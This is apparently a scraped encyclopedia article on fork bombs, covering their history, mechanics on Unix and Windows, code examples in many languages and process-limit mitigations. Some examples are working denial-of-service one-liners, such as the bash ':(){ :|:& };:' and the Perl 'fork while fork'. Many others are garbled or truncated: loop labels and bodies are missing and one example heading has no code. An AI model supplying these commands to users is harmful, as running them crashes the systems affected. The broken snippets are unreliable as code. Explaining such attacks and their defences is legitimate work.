Fork bomb

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"Rabbit virus" redirects here. For the disease used in an attempt to exterminate rabbits in Australia, see Myxomatosis.
The concept behind a fork bomb — the processes continually replicate themselves, potentially causing a denial of service

In computing, a fork bomb (also called rabbit virus or wabbit[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.


Around 1978 an early variant of a fork bomb called wabbit was reported to run on a System/360. It may have descended from a similar attack called RABBITS reported from 1969 on a Burroughs 5500 at the University of Washington.[1]


Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table.[2][3] A basic implementation of a fork bomb is an infinite loop that repeatedly launches the same process.

In Unix-like operating systems, fork bombs are generally written to use the fork system call.[3] As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they also seek to create a copy of themselves; this has the effect of causing an exponential growth in processes. As modern Unix systems generally use copy-on-write when forking new processes,[4] a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;[5] a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs[edit]


 :(){ :|:& };:

The trick here is that : is a function name — otherwise it is identical to bomb() { bomb | bomb & }; bomb.

Same as above, but encoded into a standalone shell script as opposed to a shell function:


Windows batch[edit]

 start "" %0
 goto s

The same as above, but shorter:


Combining the two(to match the concept in the photo above):

 start "" %0
 goto s

The same as above, but done in command line using ^ to escape specials:

echo  %0^|%0  > forkbomb.bat


An inline shell example using the Perl interpreter:

 perl -e "fork while fork" &


 import os
 while 1:


public class ForkBomb
  public static void main(String[] args)
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});


function bomb() {
  setTimeout(function() {
    for (;;) {
  }, 0);


#include <unistd.h>

int main(void)
    while(1) {
      fork(); /* malloc can be used in order to increase the data usage */

Assembly (Linux running on IA-32)[edit]

section .text
    global _start
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start


while($true) { 
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';}


As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.[6] On PAM-enabled systems, this limit can also be set in /etc/security/limits.conf,[7] and on FreeBSD, the system administrator can put limits in /etc/login.conf.[8]

See also[edit]


  1. ^ a b Raymond, Eric S. (October 1, 2004). "wabbit". The Jargon Lexicon. Retrieved October 15, 2013. 
  2. ^ Ye, Nong (2008). Secure Computer and Network Systems: Modeling, Analysis and Design. p. 16. ISBN 0470023244. 
  3. ^ a b Jielin, Dong (2007). Network Dictionary. p. 200. ISBN 1602670005. 
  4. ^ Dhamdhere, D. M. (2006). Operating Systems: A Concept-based Approach. p. 285. ISBN 0070611947. 
  5. ^ Hammond, Mark (2000). Python Programming On Win32: Help for Windows Programmers. p. 35. ISBN 1565926218. 
  6. ^ Cooper, Mendel (2005). Advanced Bash Scripting Guide. pp. 305–306. ISBN 1430319305. 
  7. ^ Soyinka, Wale (2012). Linux Administration: A Beginners Guide. pp. 364–365. ISBN 0071767592. 
  8. ^ Lucas, Michael W. (2007). Absolute FreeBSD: The Complete Guide to FreeBSD. pp. 198–199. ISBN 1593271514.